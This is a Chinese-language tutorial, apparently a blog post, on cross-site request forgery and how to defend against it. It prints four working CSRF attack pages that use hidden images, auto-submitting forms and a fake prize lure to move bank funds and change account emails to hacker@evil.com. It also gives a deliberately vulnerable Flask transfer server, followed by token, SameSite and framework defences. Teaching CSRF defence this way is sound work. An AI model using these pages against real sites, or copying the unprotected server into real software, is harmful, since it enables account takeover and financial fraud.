前端CSRF攻击代码演示及防御方案解析

目录

一、CSRF攻击原理

跨站请求伪造(CSRF)是一种攻击,迫使终端用户在当前已登录的Web应用程序上执行非本意的操作。

基本攻击流程:

  • 用户登录信任网站A

  • 网站A验证通过,在浏览器设置Cookie

  • 用户未退出A的情况下,访问恶意网站B

  • B的页面包含针对A的请求

  • 浏览器自动携带A的Cookie发送请求

  • A服务器认为这是用户的合法请求

二、攻击类型与示例代码

2.1 GET请求CSRF攻击

javascript 复制代码
<!-- malicious-site.html -->
<!DOCTYPE html>
<html>
<head>
    <title>恶意网站</title>
</head>
<body>
    <h1>点击看美女图片!</h1>
    <!-- 隐藏的CSRF攻击 -->
    <img src="http://victim-bank.com/transfer?to=attacker&amount=1000" 
         style="display:none">
    <p>正在加载...</p>
    
    <script>
        // 自动提交GET表单
        setTimeout(() => {
            document.write('<iframe src="http://victim-bank.com/transfer?to=attacker&amount=5000" style="display:none"></iframe>');
        }, 1000);
    </script>
</body>
</html>

2.2 POST请求CSRF攻击

javascript 复制代码
<!-- malicious-post.html -->
<!DOCTYPE html>
<html>
<body>
    <h1>免费抽奖!点击参与</h1>
    
    <form id="csrfForm" action="http://victim-bank.com/transfer" method="POST" style="display:none">
        <input type="hidden" name="to" value="hacker_account">
        <input type="hidden" name="amount" value="10000">
        <input type="hidden" name="currency" value="USD">
    </form>
    
    <script>
        // 用户点击时自动提交
        document.addEventListener('click', function() {
            document.getElementById('csrfForm').submit();
        });
        
        // 或者页面加载后自动提交
        window.onload = function() {
            document.getElementById('csrfForm').submit();
        };
    </script>
</body>
</html>

2.3 JSON API CSRF攻击

javascript 复制代码
<!-- malicious-json.html -->
<!DOCTYPE html>
<html>
<body>
    <h1>欢迎来到我们的网站</h1>
    
    <script>
        // 利用简单请求特性进行CSRF
        fetch('http://victim-api.com/api/profile/update', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/x-www-form-urlencoded',
            },
            body: 'email=hacker@evil.com&password=hacked123'
        });
        
        // 或者使用form表单
        function submitJsonCsrf() {
            const form = document.createElement('form');
            form.method = 'POST';
            form.action = 'http://victim-api.com/api/settings';
            form.style.display = 'none';
            
            const input = document.createElement('input');
            input.name = 'data';
            input.value = JSON.stringify({theme: 'dark', backupEmail: 'hacker@evil.com'});
            form.appendChild(input);
            
            document.body.appendChild(form);
            form.submit();
        }
        
        submitJsonCsrf();
    </script>
</body>
</html>

2.4 复杂CSRF攻击(带用户交互)

javascript 复制代码
<!-- complex-csrf.html -->
<!DOCTYPE html>
<html>
<body>
    <h2>您中奖了!请确认信息领取奖品</h2>
    <button onclick="claimPrize()">点击领取</button>
    
    <script>
        function claimPrize() {
            // 第一步:更改用户邮箱
            const form1 = document.createElement('form');
            form1.action = 'http://victim-site.com/change-email';
            form1.method = 'POST';
            form1.innerHTML = '<input name="email" value="hacker@evil.com">';
            document.body.appendChild(form1);
            form1.submit();
            
            // 第二步:等待后执行转账
            setTimeout(() => {
                const form2 = document.createElement('form');
                form2.action = 'http://victim-bank.com/transfer';
                form2.method = 'POST';
                form2.innerHTML = `
                    <input name="to" value="hacker_account">
                    <input name="amount" value="5000">
                `;
                document.body.appendChild(form2);
                form2.submit();
            }, 500);
        }
    </script>
</body>
</html>

三、完整示例:易受攻击的服务器

python 复制代码
# vulnerable_server.py - 易受CSRF攻击的服务器
from flask import Flask, request, render_template_string, make_response
import json

app = Flask(__name__)

# 模拟用户数据库
users = {
    'alice': {'password': '123456', 'balance': 10000, 'email': 'alice@example.com'}
}

# 登录页面(易受攻击)
@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        
        if users.get(username) and users[username]['password'] == password:
            resp = make_response('登录成功!<br><a href="/dashboard">进入控制面板</a>')
            resp.set_cookie('session_id', username)  # 简单cookie认证
            return resp
    
    return '''
    <form method="POST">
        用户名: <input name="username"><br>
        密码: <input name="password" type="password"><br>
        <button type="submit">登录</button>
    </form>
    '''

# 转账功能(没有CSRF防护)
@app.route('/transfer', methods=['GET', 'POST'])
def transfer():
    user = request.cookies.get('session_id')
    
    if not user or user not in users:
        return '请先登录'
    
    if request.method == 'GET':
        # GET方法允许转账 - 高危!
        to_account = request.args.get('to')
        amount = request.args.get('amount')
        
        if to_account and amount:
            users[user]['balance'] -= int(amount)
            return f'转账成功!向{to_account}转账{amount}元'
    
    elif request.method == 'POST':
        # POST方法但没有CSRF防护
        to_account = request.form.get('to')
        amount = request.form.get('amount')
        
        if to_account and amount:
            users[user]['balance'] -= int(amount)
            return f'POST转账成功!向{to_account}转账{amount}元'
    
    return '''
    <form method="POST">
        收款账户: <input name="to"><br>
        金额: <input name="amount"><br>
        <button type="submit">转账</button>
    </form>
    '''

# 查看余额
@app.route('/dashboard')
def dashboard():
    user = request.cookies.get('session_id')
    if not user or user not in users:
        return '请先登录'
    
    return f'''
    用户名: {user}<br>
    余额: {users[user]['balance']}<br>
    <a href="/transfer">转账</a>
    '''

if __name__ == '__main__':
    app.run(debug=True, port=5000)

四、防护解决方案

4.1 同步令牌模式(最常用)

python 复制代码
# secure_server.py - 使用CSRF令牌防护
import secrets
from flask import Flask, request, render_template_string, make_response, session

app = Flask(__name__)
app.secret_key = 'your-secret-key-here'

# 生成CSRF令牌
def generate_csrf_token():
    if '_csrf_token' not in session:
        session['_csrf_token'] = secrets.token_hex(16)
    return session['_csrf_token']

app.jinja_env.globals['csrf_token'] = generate_csrf_token

# 验证CSRF令牌
def validate_csrf_token():
    token = session.get('_csrf_token')
    if not token:
        return False
    
    # 从表单或header中获取令牌
    request_token = request.form.get('_csrf_token') or request.headers.get('X-CSRF-Token')
    return token == request_token

# 受保护的路由
@app.route('/secure-transfer', methods=['GET', 'POST'])
def secure_transfer():
    user = request.cookies.get('session_id')
    
    if not user:
        return '请先登录'
    
    if request.method == 'POST':
        # 验证CSRF令牌
        if not validate_csrf_token():
            return 'CSRF验证失败', 403
        
        to_account = request.form.get('to')
        amount = request.form.get('amount')
        
        if to_account and amount:
            return f'安全转账成功!向{to_account}转账{amount}元'
    
    # 渲染包含CSRF令牌的表单
    token = generate_csrf_token()
    return f'''
    <form method="POST">
        <input type="hidden" name="_csrf_token" value="{token}">
        收款账户: <input name="to"><br>
        金额: <input name="amount"><br>
        <button type="submit">安全转账</button>
    </form>
    '''

4.2 双重Cookie验证

javascript 复制代码
// 前端JavaScript示例
// 设置自定义header
fetch('/api/transfer', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'X-Requested-With': 'XMLHttpRequest',
        'X-CSRF-Token': getCookie('csrf_token') // 从cookie读取
    },
    body: JSON.stringify({to: 'account', amount: 100})
});

// 后端验证示例(Node.js/Express)
app.post('/api/transfer', (req, res) => {
    const csrfTokenCookie = req.cookies.csrf_token;
    const csrfTokenHeader = req.headers['x-csrf-token'];
    
    if (!csrfTokenCookie || csrfTokenCookie !== csrfTokenHeader) {
        return res.status(403).json({error: 'CSRF验证失败'});
    }
    
    // 处理业务逻辑
});

4.3 SameSite Cookie属性

javascript 复制代码
# 设置SameSite Cookie
from flask import make_response

@app.route('/login')
def secure_login():
    resp = make_response('登录成功')
    resp.set_cookie(
        'session_id',
        'encrypted_value',
        httponly=True,      # 防止XSS读取
        secure=True,        # 仅HTTPS传输
        samesite='Strict'   # 严格SameSite策略
        # samesite='Lax'    # 或宽松模式,允许GET导航
    )
    return resp

4.4 现代框架内置防护(Django示例)

javascript 复制代码
# Django settings.py
MIDDLEWARE = [
    'django.middleware.csrf.CsrfViewMiddleware',  # 自动启用CSRF防护
]

# Django模板中自动包含CSRF令牌
<form method="post">
    {% csrf_token %}  <!-- Django自动生成令牌 -->
    <!-- 表单内容 -->
</form>

# AJAX请求中手动添加令牌
const csrftoken = document.querySelector('[name=csrfmiddlewaretoken]').value;

fetch('/api/endpoint', {
    method: 'POST',
    headers: {
        'X-CSRFToken': csrftoken,
        'Content-Type': 'application/json'
    },
    body: JSON.stringify(data)
});

五、建议和总结

安全建议:

  • 强制实施CSRF防护

    所有状态修改操作必须验证CSRF令牌

    对GET请求使用幂等性设计

  • 深度防御策略

    结合多种防护措施:令牌 + SameSite + Referer验证

    关键操作增加二次验证(如短信、密码确认)

  • Cookie安全配置

javascript 复制代码
Set-Cookie: session=xxx; HttpOnly; Secure; SameSite=Strict; Path=/
  • API安全设计

    对非简单CORS请求进行预检

    使用自定义请求头

    实施OAuth2等现代认证协议

  • 定期安全审计

    检查所有表单是否包含CSRF令牌

    验证CORS和Referer策略

    测试关键业务接口

总结:

  • CSRF攻击本质:利用浏览器的自动凭据发送机制

  • 核心防护原则:确保请求来自合法源且用户明确意图

  • 最佳实践组合:

    同步令牌模式(主流方案)

    SameSite Cookie(现代浏览器支持)

    验证Referer/Origin(补充防护)

    关键操作重新认证

  • 框架选择:优先使用内置CSRF防护的框架(Django、Rails、Spring Security等)

  • 持续监控:建立安全日志和异常检测机制

现代发展趋势:

  • 使用不可预测的强随机令牌

  • 结合Content Security Policy(CSP)

  • 基于上下文的动态令牌生成

  • 无状态JWT令牌中的CSRF防护

记住:没有单一的完美解决方案,深度防御是关键!

相关推荐
REDcker2 小时前
Media Source Extensions (MSE) 详解
前端·网络·chrome·浏览器·web·js
阿珊和她的猫2 小时前
Chrome 的 SameSite 属性:原理与解决方案
前端·chrome
belldeep3 小时前
nodejs: 能在线编辑 Markdown 文档的 Web 服务程序,更多扩展功能
前端·node.js·markdown·mermaid·highlight·katax
程序员林北北3 小时前
【前端进阶之旅】一种新的数据格式:TOON
前端·javascript·vue.js·react.js·typescript·json
木斯佳3 小时前
前端八股文面经大全:2026-01-23快手AI应用方向前端实习一面面经深度解析
前端·人工智能·状态模式
容沁风3 小时前
react路由Cannot GET错误
前端·react.js·前端框架·sharp7
少云清3 小时前
【UI自动化测试】6_web自动化测试 _浏览器操作
前端·web自动化测试
globaldomain3 小时前
立海世纪:.com和.net域名哪个更适合你的网站
大数据·前端·人工智能·新媒体运营·国外域名·域名注册
phltxy4 小时前
Vue Router:从入门到实战
前端·javascript·vue.js